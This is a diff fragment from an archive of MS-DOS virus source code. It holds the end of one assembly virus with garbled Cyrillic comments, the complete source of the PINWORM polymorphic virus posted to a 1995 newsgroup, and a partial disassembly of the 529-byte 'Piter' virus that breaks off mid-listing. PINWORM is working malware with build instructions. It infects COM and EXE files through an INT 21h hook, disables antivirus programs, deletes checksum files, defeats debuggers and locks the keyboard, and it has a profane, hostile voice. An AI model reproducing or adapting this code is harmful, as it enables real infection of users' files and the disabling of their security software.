Byte Ptr D7FD3,01h ;mode = GRAPH? + JNE L7FB6 ;­ + MOV BL,83h + +L7FB6: MOV CX,0001h ;Write character & attribute + MOV AX,0907h + INT 10h + + POP DX ;Restore cursor position + MOV AH,02h + INT 10h + + POP DX ;‚ŗ§±² ­®¢æ¢  Æ®²°Ø²«±Ŗز °£Ø±²°Ø + POP CX + POP BX + POP AX + POP DS +D7FC9 = $+1 +D7FCB = $+3 + JMP INTERR8 ;ˇ²Ø¢  ­  ر²Ø­±ŖØæ² INT 08 + +D7FCD DW 0 +D7FCF DW 0101h ; ®²­  Æ®§Ø¶Øæ ­  Ŗ° ­  ­  ¢Ø°³±  +D7FD1 DW 0101h +D7FD3 DB 0 ; 1 - mode = graph, b800 + ; 0 - mode = text, b800 + ;-1 - mode = 7, text b/w EGA,HGA + +D7FD4 DW 0FFFFh ;± ¬Øæ² mode +D7FD6 DB 50h ;°®© ±Ø¬¢®«Ø ­  °¤ + + + DB 0B7h,0B7h,0B7h,0B6h,040h,040h,088h,0DEh + DB 0E6h,05Ah,0ACh,0D2h,0E4h,0EAh,0E6h,040h + DB 050h,0ECh,040h,064h,05Ch,060h,052h,040h + DB 040h,040h,040h,064h,062h,05Eh,062h,060h + DB 05Eh,070h,06Eh,040h,041h,0B7h,0B7h,0B7h + DB 0B6h + + +;************************************************************* +; €ˇ’¨€ ˇ‹€‘’ ¨€ ‚“‘€ +D8000 = $ + +SEG0000 ends + END diff --git a/MSDOS/Virus.MSDOS.Unknown.pinworm.asm b/MSDOS/Virus.MSDOS.Unknown.pinworm.asm new file mode 100644 index 00000000..7ab5986f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pinworm.asm @@ -0,0 +1,1002 @@ +From smtp Thu Jan 26 14:38 EST 1995 +Received: from ids.net by POBOX.jwu.edu; Thu, 26 Jan 95 14:38 EST +Date: Thu, 26 Jan 1995 14:06:40 -0500 (EST) +From: ids.net!JOSHUAW (JOSHUAW) +To: pobox.jwu.edu!joshuaw +Content-Length: 23717 +Content-Type: binary +Message-Id: <950126140640.868d@ids.net> +Status: RO + +To: joshuaw@pobox.jwu.edu +Subject: (fwd) PINWORM.ASM +Newsgroups: alt.comp.virus + +Path: paperboy.ids.net!uunet!nntp.crl.com!crl5.crl.com!not-for-mail +From: yojimbo@crl.com (Douglas Mauldin) +Newsgroups: alt.comp.virus +Subject: PINWORM.ASM +Date: 23 Jan 1995 23:31:03 -0800 +Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest] +Lines: 976 +Message-ID: <3g2abn$b7a@crl5.crl.com> +NNTP-Posting-Host: crl5.crl.com +X-Newsreader: TIN [version 1.2 PL2] + +;Someone posted somewhere that they needed the pinworm's source code so here +;it is compliments of THe QUaRaNTiNE: + +; compile like so: +; TASM /m pinworm +; Tlink pinworm +; --convert to COM-- +; + +cseg segment + assume cs: cseg, ds: cseg, es: cseg, ss: cseg + +; conditional compilation.. +SECOND_CRYPT equ 1 ; use second cryptor? +XTRA_SPACE equ 1 ; xtra space to prevent double cryptor? +INCLUDE_INT3 equ 1 ; include INT 3 in garbage code? + ; (slows the loop down alot) +KILL_AV equ 1 ; Kill AVs as executed? +KILL_CHKLIST equ 1 ; Kill MSAV/CPAV checksum filez? + + +; thingz to change.. +kill_date equ 19 ; day of the month to play with user +max_exe equ 4 ; max exe file size -high byte +msg_filez equ 17 ; number of filenames for our msg + +; polymorphic engine options.. +inc_buf_size equ 20 ; INC buf +enc_op_bsize equ 36 ; ENC buf +ptr_buf_size equ 36 ; PTR buf +cnt_buf_size equ 36 ; CNT&OP +dj_buf_size equ 36 ; DEC&JMP +loop_disp_size equ 20 ; loop buf range +;compile and change the below equate to the second byte of the JNZ operand +org_loop equ 8Dh ; original JNZ offset + + +signal equ 0FA01h ; AX=signal/INT 21h/installation chk +vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API +enc_size equ offset first_crypt-offset encrypt +enc2_size equ offset code_start-offset first_crypt +real_start equ offset dj_buf+3 ; starting location of encryted code + + +org 0h ; hellacious EXE offset calcs if !0 +start: + +;---- Encryptor/Decryptor Location +; Each opcode has predefined ranges to move within - once the opcode is +; determined, it is placed at the decided location within the buffer. +; 0 bytes constant +; + encrypt: + ptr_buf db ptr_buf_size-3 dup (90h) + db 0BEh + dw real_start+100h + encryptor: + cnt_buf db cnt_buf_size-3 dup(90h) + db 0B8h ; AX:b8 + dw offset vend-offset dj_buf + enc_loop: + loop_disp db loop_disp_size dup(90h) + inc_buf db inc_buf_size dup(90h) + enc_op_buf db enc_op_bsize dup(90h) + misc_buf dw 9090h + word_inc db 90h + dj_buf db dj_buf_size-3 dup (90h) + dec ax + jnz enc_loop ; for orig. only + ret_byte db 090h ; C3h or a NOP equiv. +first_crypt: ; end of first cryptor + + +;---- Second encryptor +; Whose only purpose is to tear the shit out of debuggers. It obviously +; isn't invincible, but will at least keep the lamerz and ignorant morons +; like Patti Hoffman out of the code. +; +; _ Uses reverse direction word XOR encryption +; _ Uses the following techniques: +; _ JMP into middle of operand +; _ Replace word after CALL to kill stepping over call +; _ Kills INT 1 vector +; _ Disables Keyboard via Port 21h +; _ Reverse direction encryption prevents stepping past loop +; _ Uses SP as a crucial data register in some locations - if +; the debugger uses the program's stack, then it may very well +; phuck thingz up nicely. +; _ Uses Soft-Ice INT 3 API to lock it up if in memory. +; + sti ; fix CLI in garbage code + db 0BDh ; MOV BP,XXXX +bp_calc dw 0100h + push ds es ; save segment registers for EXE +IF SECOND_CRYPT + push ds +dbg1: jmp mov_si ; 1 + db 0BEh ; MOV SI,XXXX +mov_si: db 0BEh ; MOV SI,XXXX +rel2_off dw offset heap+1000h ; org copy: ptr way out there + call shit +add_bp: int 19h ; fuck 'em if they skipped + jmp in_op ; 1 + db 0BAh ; MOV DX,XXXX +in_op: in al,21h + push ax + or al,02 + jmp kill_keyb ; 1 + db 0C6h +kill_keyb: out 21h,al ; keyboard=off + call shit6 +past_shit: jmp dbl_crypt +shit7: + xor ax,ax ;null es + mov es,ax + mov bx,word ptr es: [06] ;get INT 1 + ret +shit: + mov word ptr cs: add_bp[bp],0F503h ;ADD SI,BP + mov word ptr cs: dec_si[bp],05C17h ;reset our shit sister + ret +shit2: + mov word ptr cs: dec_si[bp],4E4Eh + mov word ptr cs: add_bp[bp],19CDh ;reset our shit brother + call shit3 + jnc code_start ;did they skip shit3? + xor dx,cx + ret + db 0EAh ;JMP FAR X:X +shit4: + db 0BAh ;MOV DX,XXXX +sec_enc dw 0 + mov di,4A4Dh ;prepare for Soft-ice + ret +shit3: + mov ax,911h ;soft-ice - execute command + call shit4 + stc + dec word ptr es: [06] ;2-kill INT 1 vector + push si + mov si,4647h ;soft-ice + int 3 ;call SI execute - DS:DX-garbage + pop si + ret + +shit6: mov byte ptr cs: past_shit[bp],0EBh + out 21h,al ; try turning keyboard off again + ret + +dbl_crypt: ; main portion of cryptor + mov cx,(offset heap-offset ret2_byte)/2+1 + call shit7 +dbl_loop: + jmp $+3 ; 1 + db 034h ; XOR ... + call shit3 ; nested is the set DX + xchg sp,dx ; xchg SP and DX + jmp xor_op ; 1 + db 0EAh ; JMP FAR X:X +xor_op: xor word ptr cs: [si],sp ; the real XOR baby.. + xchg sp,dx ; restore SP + call shit2 +dec_si: pop ss ; fuck 'em if they skipped shit2 + pop sp + int 3 + xchg sp,bx ; SP=word of old int 1 vec + dec cx + mov es: [06],sp ; restore int 1 vector + xchg sp,bx ; restore SP + jnz dbl_loop +ret2_byte db 90h,90h + +;---- Start of another artificial lifeform + +ENDIF +code_start: +IF SECOND_CRYPT + pop ax es ; Get port reg bits (ES=PSP) + out 21h,al ; restore keyboard +ENDIF + + mov cs: activate[bp],0 ; reset activation toggle + mov cs: mem_word[bp],0 ; reset mem. encryption + + inc si ; SI!=0 + mov dx,vsafe_word ; remove VSAFE/VWATCH from memory + mov ax,0FA01h ; & check for residency of virus too + int 21h + or si,si ; if SI=0 then it's us + jz no_install + + mov ah,2ah ; get date + int 21h + cmp dl,kill_date ; is it time to activate? + jnz not_time + mov cs: activate[bp],1 + +not_time: + + mov ax,es ; PSP segment - popped from DS + dec ax ; mcb below PSP m0n + mov ds,ax ; DS=MCB seg + cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain? + jnz no_install + sub word ptr ds: [3],(((vend-start+1023)*2)/1024)*64 ; alloc MCB + sub word ptr ds: [12h],(((vend-start+1023)*2)/1024)*64 ; alloc PSP + mov es,word ptr ds: [12h] ; get high mem seg + push cs + pop ds + mov si,bp + mov cx,(offset vend - offset start)/2+1 + xor di,di + rep movsw ; copy code to new seg + xor ax,ax + mov ds,ax ; null ds + push ds + lds ax,ds: [21h*4] ; get 21h vector + mov es: word ptr old21+2,ds ; save S:O + mov es: word ptr old21,ax + pop ds + mov ds: [21h*4+2],es ; new int 21h seg + mov ds: [21h*4],offset new21 ; new offset + + call get_random + cmp dl,5 + jle no_install + sub byte ptr ds: [413h],((offset vend-offset start+1023)*2)/1024 ;-totalmem + +no_install: + + xor si,si ; null regs.. + xor di,di ; some progs actually care.. + xor ax,ax + xor bx,bx + xor dx,dx + + pop es ds ; restore ES DS + cmp cs: exe_phile[bp],1 + jz exe_return + + lea si,org_bytes[bp] ; com return + mov di,0100h ; -restore first 4 bytes + movsw + movsw + + mov ax,100h ; jump back to 100h + push ax +_ret: ret + +exe_return: + mov cx,ds ; calc. real CS + add cx,10h + add word ptr cs: [exe_jump+2+bp],cx + int 3 ; fix prefetch + cli + mov sp,cs: oldsp[bp] ; restore old SP.. + sti + db 0eah +exe_jump dd 0 +oldsp dw 0 +exe_phile db 0 + +;---------------------------------------------------------- +; Infection routine - called from INT 21h handler. +; DS:DX=fname +; Assumes EXE if first byte is 'M' or 'Z' +; Changes/Restores attribute and time/date +; +; If philename ends in 'AV', 'AN', or 'OT' it's not infected and has it's +; minimum req. memory in the header (0Ah) changed to FFFFh, thus making it +; unusable. +; +infect_file: + + mov di,dx ; move filename ptr into an index reg + + push ds ; search for end of filename(NULL) + pop es + xor ax,ax + mov cx,128 + repnz scasb + + cmp word ptr [di-3],'EX' ;.eXE? + jz is_exec +chk_com: cmp word ptr [di-3],'MO' ;.cOM? + jnz _ret +is_exec: +IF KILL_AV + mov cs: isav,0 + cmp word ptr [di-7],'VA' ;*AV.*? CPAV,MSAV,TBAV,TNTAV + jz anti_action + cmp word ptr [di-7],'TO' ;*OT.*? F-PROT + jz anti_action + cmp word ptr [di-7],'NA' ;*AN.*? + jnz name_ok + cmp word ptr [di-9],'CS' ;*SCAN.*? + jnz name_ok +anti_action: + inc cs: isav ; set mark for anti-virus kill +name_ok: +ENDIF + push ds ; save fname ptr segment + mov es,ax ; NULL ES (ax already 0) + lds ax,es: [24h*4] ; get INT 24h vector + mov old_24_off,ax ; save it + mov old_24_seg,ds + mov es: [24h*4+2],cs ; install our handler + mov es: [24h*4],offset new_24 + pop ds ; restore fname ptr segment + push es + push cs ; push ES for restoring INT24h later + pop es ; ES=CS + + mov ax,4300h ; get phile attribute + int 21h + mov ax,4301h ; null attribs 4301h + push ax cx ds dx ; save AX-call/CX-attrib/DX:DS + xor cx,cx ; zero all + int 21h + + mov bx,signal + mov ax,3d02h ; open the file + int 21h + jc close ; if error..quit infection + + xchg bx,ax ; get handle + + push cs ; DS=CS + pop ds + +IF KILL_CHKLIST + call kill_chklst ; kill CHKLIST.MS & .CPS filez +ENDIF + mov ax,5700h ; get file time/date + int 21h + push cx dx ; save 'em for later + + mov ah,3fh ; Read first bytes of file + mov cx,18h ; EXE header or just first bytes of COM + lea dx,org_bytes ; buffer used for both + int 21h + + call offset_end ; set ptr to end- DXAX=file_size + + cmp byte ptr org_bytes,'M' ; EXE? + jz do_exe + cmp byte ptr org_bytes,'Z' ; EXE? + jz do_exe + cmp byte ptr org_bytes+3,0 ; CoM infected? + jz d_time + + dec exe_phile + + push ax ; save file size + add ax,100h ; PSP in com + mov rel_off,ax ; save it for decryptor + mov bp_calc,ax + + call encrypt_code ; copy and encrypt code + + lea dx,vend ; start of newly created code + mov cx,offset heap+0FFh ; virus length+xtra + add cl,size_disp ; add random ^in case cl exceeds FF + mov ah,40h + int 21h ; append virus to infected file + + call offset_zero ; position ptr to beginning of file + + pop ax ; restore COM file size + sub ax,3 ; calculate jmp offset + mov word ptr new_jmp+1,ax ; save it.. + + lea dx,new_jmp ; write the new jmp (E9XXXX,0) + mov cx,4 ; total of 4 bytes + mov ah,40h + int 21h + +d_time: + + pop dx cx ; pop date/time + mov ax,5701h ; restore the mother fuckers + int 21h + +close: + + mov ah,3eh ; close phile + int 21h + + pop dx ds cx ax ; restore attrib + int 21h + +dont_do: + pop es ; ES=0 + lds ax,dword ptr old_24_off ; restore shitty DOS error handler + mov es: [24h*4],ax + mov es: [24h*4+2],ds + + ret ; return back to INT 21h handler + +do_exe: + cmp dx,max_exe + jg d_time + + mov exe_phile,1 + +IF KILL_AV + cmp isav,1 ; anti-virus software? + jnz not_av + mov word ptr exe_header[0ah],0FFFFh ; change min. mem to FFFFh + jmp write_hdr +not_av: +ENDIF + cmp word ptr exe_header[12h],0 ; checksum 0? + jnz d_time + + mov cx,mem_word ; get random word + inc cx ; make sure !0 + mov word ptr exe_header[12h],cx ; set checksum to!0 + mov cx,word ptr exe_header[10h] ; get old SP + mov oldsp,cx ; save it.. + mov word ptr exe_header[10h],0 ; write new SP of 0 + + les cx,dword ptr exe_header[14h] ; Save old entry point + mov word ptr exe_jump, cx ; off + mov word ptr exe_jump[2], es ; seg + + push cs ; ES=CS + pop es + + push dx ax ; save file size DX:AX + cmp byte ptr exe_header[18h],52h ; PKLITE'd? (v1.13+) + jz pklited + cmp byte ptr exe_header[18h],40h ; 40+ = new format EXE + jge d_time + pklited: + + mov bp, word ptr exe_header+8h ; calc. new entry point + mov cl,4 ; *10h + shl bp,cl ; ^by shifting one byte + sub ax,bp ; get actual file size-header + sbb dx,0 + mov cx,10h ; divide me baby + div cx + + mov word ptr exe_header+14h,dx ; save new entry point + mov word ptr exe_header+16h,ax + mov rel_off,dx ; save it for encryptor + mov bp_calc,dx + + call encrypt_code ; encrypt & copy the code + + mov cx,offset heap+0FFh ; virus size+xtra + add cl,size_disp ; add random ^in case cl exceeds FFh + lea dx,vend ; new copy in heap + mov ah,40h ; write the damn thing + int 21h + + pop ax dx ; AX:DX file size + + mov cx,(offset heap-offset start)+0FFh ; if xceeds ff below + add cl,size_disp + adc ax,cx + + mov cl,9 ; calc new alloc (512) + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax + and ah,1 + + mov word ptr exe_header+4h,dx ; save new mem. alloc info + mov word ptr exe_header+2h,ax + +write_hdr: + call offset_zero ; position ptr to beginning + + mov cx,18h ; write fiXed header + lea dx,exe_header + mov ah,40h + int 21h + + jmp d_time ; restore shit/return + + +;---------------------------------------------------------- +; Kill CHKLIST.* filez by nulling attribs, then deleting +; phile. +; + +kill_chklst: + mov di,2 ; counter for loop + lea dx,chkl1 ; first fname to kill +kill_loop: + mov ax,4301h ; reset attribs + xor cx,cx + int 21h + mov ah,41h ; delete phile + int 21h + lea dx,chkl2 ; second fname to kill + dec di + jnz kill_loop + + ret + +;---------------------------------------------------------- +; set file ptr + +offset_zero: ; self explanitory + xor al,al + jmp set_fp +offset_end: + mov al,02h +set_fp: + mov ah,42h + xor cx,cx + xor dx,dx + int 21h + ret + +;---------------------------------------------------------- +; Morph, copy, & crypt +; +; 0 bytes constant +; 0 operands in constant locations +; +; ms: +; bit 7 +; 6 +; 5 +; 4 - INCREMENT COUNTER OP +; 3 - +; 2 - INCREMENT ENCRYPTOR OP +; 1 - ADD&SUB|XOR +; 0 - WORD|BYTE +; IF<20-SELECTION BETWEEN JNZ AND JNS +; IF<5-DON'T WRITE ENCRYPTION OPS! +; sec: +; IF<=5-use constant NOP instead of random +; +encrypt_code: + + push bx ; save the handle + +;---- Fill buffer space with garbage bytes + + lea di,encrypt ; fill buffer /w it + mov bp,enc_size+1 + call fill_buffer + +;---- Randomly select between jmp type : JNZ or JNS + + call get_random + mov enc_num,dl ; store ms count for encryption + mov mem_word,dx ; mem cryption too + mov size_disp,dl ; and size displacment + + cmp dl,20h + jl jmp_2 + mov byte ptr jnz_op,75h ; use jnz + jmp jmp_set + jmp_2: + mov byte ptr jnz_op,79h ; jns + jmp_set: + +;---- Change jump address + + cmp byte ptr jnz_op+1,org_loop+loop_disp_size ; JNX on max offset? + jnz inc_jmp_ofs ; if not then inc the ptr + mov byte ptr jnz_op+1,org_loop ; jump to pos X in buffer + inc_jmp_ofs: + inc byte ptr jnz_op+1 ; increment jmp into buffer + +;---- Change encryption type randomly between XOR and ADD&SUB + + mov al,04 ; default to encrypting ADD + mov enc_type,2Ch ; and decrypting SUB + test dl,00000010b ; that bit =1? + jz use_add_sub + mov al,34h ; encrypting XOR + mov enc_type,34h ; decrypting XOR + use_add_sub: + +;--- Change register used for the counter + + cmp byte ptr count_op,0BBh ; skip SP/BP/DI/SI + jnz get_reg + mov byte ptr count_op,0B7h ; AX-1 + mov byte ptr dec_op,47h ; AX-1 + get_reg: + inc byte ptr count_op ; increment to next OP + inc byte ptr dec_op ; "" + +;---- Change position of INC XX + + mov di,inc_ptr ; get new off for INC XX + cmp di,inc_buf_size ; max position? + jl good_inc ; if not..then continue + mov inc_ptr,0 ; use offset 1 next run + xor di,di ; use offset 0 this run + good_inc: + inc inc_ptr ; increment the ptr for next + +;---- Toggle between SI and DI + + cmp byte ptr ptr_set,0BEh ; using SI? + jz chg_di ; if so, then switch to DI + mov byte ptr inc_buf[di],46h ; write INC SI + dec byte ptr ptr_set ; decrement to SI + jmp done_chg_ptr + chg_di: + mov byte ptr inc_buf[di],47h ; write INC DI + inc byte ptr ptr_set ; increment to DI + inc byte ptr enc_type ; increment decryptor + inc ax ; increment encryptor + done_chg_ptr: + +;---- Select word or byte encryption + + mov w_b,80h ; default to byte cryption + test dl,00000001b ; use word? + jz use_byte + mov w_b,81h ; now using word en/decryptor + mov ch,byte ptr inc_buf[di] ; get INC op + mov byte ptr word_inc,ch ; write another one + use_byte: + +;---- Increment counter value + + cmp byte ptr crypt_bytes,0Fh ; byte count quite large? + jnz inc_cnt ; if not..increment away + mov crypt_bytes,offset vend ; else..reset byte count + inc_cnt: + inc crypt_bytes ; increment byte count + + +;---- Set DEC XX /JNS|JNZ operands + + mov di,dec_op_ptr + cmp di,dj_buf_size-2 + jl good_dec_op + mov dec_op_ptr,0 + xor di,di + good_dec_op: + inc dec_op_ptr + no_inc_dec_op: + add di,offset dj_buf + lea si,dec_op + movsw + movsb + inc di ;word align + add rel_off,di ;chg offset for decryption + push di ;save offset after jmp + +;---- Set MOV DI,XXXX|MOV SI,XXXX + + mov di,ptr_op_ptr + cmp di,ptr_buf_size-3 + jl good_ptr_op + mov ptr_op_ptr,0 + xor di,di + good_ptr_op: + test dl,00001000b + jz no_inc_ptr_op + inc ptr_op_ptr + no_inc_ptr_op: + add di,offset ptr_buf + lea si,ptr_set + movsw + movsb + +;---- Set MOV AX|BX|DX|CX,XXXX + + mov di,count_op_ptr + cmp di,cnt_buf_size-3 + jl good_count_op + mov count_op_ptr,0 + xor di,di + good_count_op: + test dl,00010000b + jz no_inc_count_op + inc count_op_ptr + no_inc_count_op: + add di,offset cnt_buf + lea si,count_op + movsw + movsb + +;---- Set XOR|ADD&SUB WORD|BYTE CS:|DS:[SI|DI],XX|XXXX + + mov di,enc_op_ptr + cmp di,enc_op_bsize-5 + jl good_enc_ptr + mov enc_op_ptr,0 + xor di,di + good_enc_ptr: + test dl,00000100b + jz no_inc_enc_ptr + inc enc_op_ptr + no_inc_enc_ptr: + add di,offset enc_op_buf + mov bx,di ; BX points to encrytor pos. + lea si,seg_op + movsw + movsw + +;---- FiX second cryptor offset + +IF SECOND_CRYPT + mov rel2_off,offset heap ;first gen has mispl. off +ENDIF + +;---- Copy virus code along with decryptor to heap + + mov cx, (offset heap-offset start)/2+1 + xor si,si + lea di,vend ; ..to heap for encryption + rep movsw ; make another copy of virus + +IF SECOND_CRYPT +;---- Call second encryptor first + + mov si,offset vend ; offset of enc. start.. + add si,offset heap ; ..at end of code + mov ret2_byte,0C3h + xor bp,bp + push ax bx + call dbl_crypt + pop bx ax + mov ret2_byte,90h +ENDIF + +;---- Set ptr to heap for encryption + + pop si ; pop offset after jmp + add si,offset vend ; offset we'z bez encrypting + mov di,si ; we might be using DI too + +;---- Encrypt the mother fucker + + mov ret_byte,0C3h ; put RET + mov byte ptr [bx+2],al ; set encryption type + call encryptor ; encrypt the bitch + + pop bx ; restore phile handle + ret ; return + +;----------------------------------------------- +; Fill buffer with random garbage from table +; DI=off BP=size +; ret: BL=last garbage byte +; +; Decently random..relies on previously encrypted data and MS from clock +; to form pointer to the next operand to use.. +; +; +fill_buffer: + add bl,dl ; previous NOP+previous NOP off + call get_random +IF SECOND_CRYPT + mov byte ptr sec_enc,cl ; use CL\DL for 2nd encryptor + mov byte ptr sec_enc+1,dh +ENDIF + cmp dh,5 ; use random NOPs or constant NOP? + jg use_rand + xor dx,dx + jmp constant +use_rand: + add dl,byte ptr vend+200h[di] ; encrypted byte somewhere.. + sub dl,bl + and dl,00001111b ; extract lower nibble + xor dh,dh +constant: mov si,dx ; build index ptr + mov bl,byte ptr [nops+si] ; get NOP from table + mov byte ptr [di],bl + inc di ; increment buffer ptr + dec bp + jnz fill_buffer ; loop + ret +;-------------------------- +; get time man - and use it as semi-random word +; +get_random: + mov ah,2ch ; get clock + int 21h + ret + +;---------------------------------------------------------- +; Associated bullshit +; +credits db ' _ PI_W_rM_v1.00 - Coded by _irogen in April 1994' +chkl1 db 'CHKLIST.MS',0 ; MSAV shitty checksum +chkl2 db 'CHKLIST.CPS',0 ; CPAV shitty checksum +pin_dir db 255,'PI_W_rM._g!',0 ; DIR created +root db '..',0 ; for changing to org. dir +file1 db 'I_hope_y',0 ; filez created in dir.. + db 'ou_have_',0 ; must be 8 chars each+null + db 'enjoyed_',0 ; (255 not space) + db 'your_inf',0 + db 'estation',0 + db '_by_the_',0 + db 'mighty P',0 + db 'inworm p',0 + db 'arasite·',0 + db '········',0 + db 'Fuck_you',0 + db 'all!____',0 + db '-_irogen',0 ; #13 +new_jmp db 0E9h,0,0,0 ; jmp XXXX ,0 (id) +inc_ptr dw 0 ; ptr to location of INC +enc_op_ptr dw 0 ; actual ENC op ptr +ptr_op_ptr dw 0 ; ptr to ptr set pos +count_op_ptr dw 0 ; ptr to counter reg pos +dec_op_ptr dw 1 ; ptr to decrement counter op pos +activate db 0 +isav db 0 + +seg_op db 2Eh ; CS +w_b db 80h ; byte=80h word=81h +enc_type db 2Ch ; SUB BYTE PTR CS:[SI],XXXX ;XOR/34 +enc_num db 0 + +ptr_set db 0BEh ; MOV SI,XXXX +rel_off dw real_start+100h + +count_op db 0B8h ; CX:B9 AX:b8 +crypt_bytes dw offset vend-offset dj_buf + +dec_op: dec ax ; DEC AX|BX|CX|DX +jnz_op: db 75h,org_loop + +nops: nop ; 1 byte garbage OPs.. must be 16 +IF INCLUDE_INT3 + int 3 +ELSE + cld +ENDIF + into + inc bp + dec bp + cld + nop + stc + cmc + clc + stc + into + cli + sti + inc bp +IF INCLUDE_INT3 + int 3 +ELSE + nop +ENDIF + + +;---------------------------------------------------------- +; activation routine +; +act_routine: + push ax bx cx ds dx bp es cs + pop ds + mov activate,0 ;we're in work now.. + lea dx,pin_dir ;create our subdirectory + mov ah,39h + int 21h + mov ah,3bh ;change to our new subdirectory + int 21h + + lea dx,file1 ;offset of first filename + mov bp,msg_filez ;# of filez total +make_msg: + xor cx,cx ;null attribs + mov ah,3ch + int 21h ;create phile + jc dont_close + xchg ax,bx + mov ah,3eh ;close phile + int 21h +dont_close: add dx,9 ;point to next phile + dec bp + jnz make_msg + + lea dx,root ; change back to orginal dir + mov ah,3bh + int 21h + + cmp r_delay,5 ;5 calls? + jl r_no ;if not then skip keyboard ror + mov r_delay,-1 + xor ax,ax ;es=null + mov es,ax + ror word ptr es: [416h],1 ;rotate keyboard flags +r_no: + inc r_delay ;increment calls count + mov activate,1 + pop es bp dx ds cx bx ax + jmp no_act + +;------------------------------------------------------- +; Interrupt 24h - critical error handler +; +new_24: ; critical error handler + mov al,3 ; prompts suck, return fail + iret + +;--------------------------------------------------------- +; In-memory encryption function +; **virus encrypted in memory up to this point** +; +mem_crypt: + mov cx,offset mem_crypt-offset code_start + xor di,di ;offset 0 +mem_loop: + db 2Eh,81h,35h ;CS:XOR WORD PTR [DI], +mem_word dw 0 ;XXXX + inc di + loop mem_loop + ret + +;---------------------------------------------------------- +; Interrupt 21h +; returns SI=0 and passes control to normal handler if +; VSAFE uninstall command is recieved. +; +new21: + pushf + + cmp cs: activate,1 ; time to activate? + jnz no_act + cmp ah,0Bh + jl act_routine +no_act: + cmp ax,signal ; be it us? + jnz not_us ; richtig.. + cmp dx,vsafe_word + jnz not_us + xor si,si ; tis us + mov di,4559h ; simulate VSAFE return +not_us: + cmp ah,4bh ; execute phile? + jnz jmp_org + +go_now: push ax bp bx cx di dx ds es si + call mem_crypt ; decrypt in memory + call infect_file ; the mother of all calls + call mem_crypt ; encrypt in memory + pop si es ds dx di cx bx bp ax + + jmp_org: + popf + db 0eah ; jump far + old21 dd 0 ; O:S + + +exe_header: +org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr +;---- Start of heap (not written to disk) +heap: +db 14h dup(0) ; remaining exe header space +old_24_off dw 0 ; old int24h vector +old_24_seg dw 0 +r_delay db 0 +size_disp db 0 ; additional size of virus +IF XTRA_SPACE +db 0DDh dup(0) ; xtra space for random write + ; otherwise decryptor will be + ; written twice - could make it + ; vulnerable +ENDIF +vend: ; end of virus in memory.. +cseg ends + end start + + diff --git a/MSDOS/Virus.MSDOS.Unknown.piter.asm b/MSDOS/Virus.MSDOS.Unknown.piter.asm new file mode 100644 index 00000000..21615991 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.piter.asm @@ -0,0 +1,347 @@ +; virus 529 extracted from full memory dump published by N.N.Bezrukov +; in Virus Guide (Computer Virology) edition 3.5. First information about this +; virus has been released by D.N.Lozinsky (Leningrad USSR) before june 1990. +; +; Dissasembly: A.Kadlof 1990-08-31 +; +; Virus code is placed at the begining of the file + +0100 B815CA MOV AX,CA15 ; is resident part alredy instaled? +0103 8B361B01 MOV SI,[011B] ; offset of oryginal first 529 bytes +0107 BF0001 MOV DI,0100 ; begining of the file +010A 8B0E1D01 MOV CX,[011D] ; 0211h = 529 virus length +010E 8B1E1901 MOV BX,[0119] ; 0101h or less means: do not disable +0112 CD21 INT 21 ; resident part of the virus + +; if resident part of the virus is instaled then INT 21 with AX = CA15 +; will start infected program, atherwise we will come here + +0114 FF361F01 PUSH [011F] ; jump to CS:0147 +0118 C3 RET + +;------------------ +; virus date area + +0119 01 01 ; flag - disable virus request +011B D0 07 ; adress of oryginal 529 byte of the file, oryginal file length + ; plus 100h (size of memory image of file + PSP) +011D 11 02 ; virus length +011F 47 01 ; offset of virus code after working area +0121 79 00 ; ?? +0123 C0 01 +0125 04 00 +0127 C4 01 ; offset of new INT 21h handler +0129 4D 00 +012B 11 02 EA 00 FB ; ?? +0130 02 01 00 FC 02 01 00 ; ?? + +; EXEC Parameter Block + +0137 00 00 ; segment of child enviroment +0139 80 00 0E 25 ; adress of command line +013D 5C 00 0E 25 ; adress of first FCB +013F 6C 00 0E 25 ; adress of second FCB + +0145 CA 01 ; offset of virus int 21h handler + +;--------------------------------------------------------------- +; continue instalation of virus if resident part is not present + +0147 A11D01 MOV AX,[011D] ; 0211h virus length +014A 051401 ADD AX,0114 ; AX := 325h length of buffer and + ; working area +014D 90 NOP +014E A30503 MOV [0305],AX ; I/O buffer +0151 03061D01 ADD AX,[011D] +0155 050001 ADD AX,0100 +0158 A30D03 MOV [030D],AX +015B 8BE0 MOV SP,AX +015D 050F00 ADD AX,000F +0160 B104 MOV CL,04 +0162 D3E8 SHR AX,CL +0164 A30F03 MOV [030F],AX ; memory (in paragraphs) requested by +0167 06 PUSH ES ; virus (64 paragraphs) + +; capture INT 21h + +0168 B82135 MOV AX,3521 ; get INT 21h +016B CD21 INT 21 + +; store it + +016D 8C06FF02 MOV [02FF],ES +0171 891EFD02 MOV [02FD],BX + +0175 07 POP ES ; restore from the stack +0176 8B162701 MOV DX,[0127] ; offset of new INT 21h +017A B82125 MOV AX,2521 ; set INT 21h +017D CD21 INT 21 + +017F 8B1E0F03 MOV BX,[030F] ; size of requested memory +0183 B44A MOV AH,4A ; modify allocated memory block +0185 CD21 INT 21 + +0187 8CC0 MOV AX,ES +0189 A33B01 MOV [013B],AX ; prepare EXEC Parameter Block +018C A33F01 MOV [013F],AX +018F A34301 MOV [0143],AX + +0192 8E1E2C00 MOV DS,[002C] ; enviroment block +0196 33F6 XOR SI,SI ; point at the begining of block + +0198 AC LODSB +0199 0A04 OR AL,[SI] ; look for 0, 0 marker +019B 75FB JNZ 0198 + +019D 83C603 ADD SI,+03 ; point at full pathname +01A0 8BD6 MOV DX,SI ; offset of name of virus carrier +01A2 BB3701 MOV BX,0137 ; adres of EXEC parameter block +01A5 B8004B MOV AX,4B00 ; Load & Execute +01A8 CD21 INT 21 + +01AA 8CC8 MOV AX,CS +01AC 8ED0 MOV SS,AX ; restore stack pointers +01AE 2E CS: +01AF 8B260D03 MOV SP,[030D] +01B3 B44D MOV AH,4D ; get return code of subprogram +01B5 CD21 INT 21 + +01B7 2E CS: +01B8 8B160F03 MOV DX,[030F] ; needed number of paragraphs +01BC B431 MOV AH,31 ; terminate but stay resident +01BE CD21 INT 21 + +01C0 B44C MOV AH,4C ; terminate process +01C2 CD21 INT 21 + +;---------------------- +; new INT 21h handler + +01C4 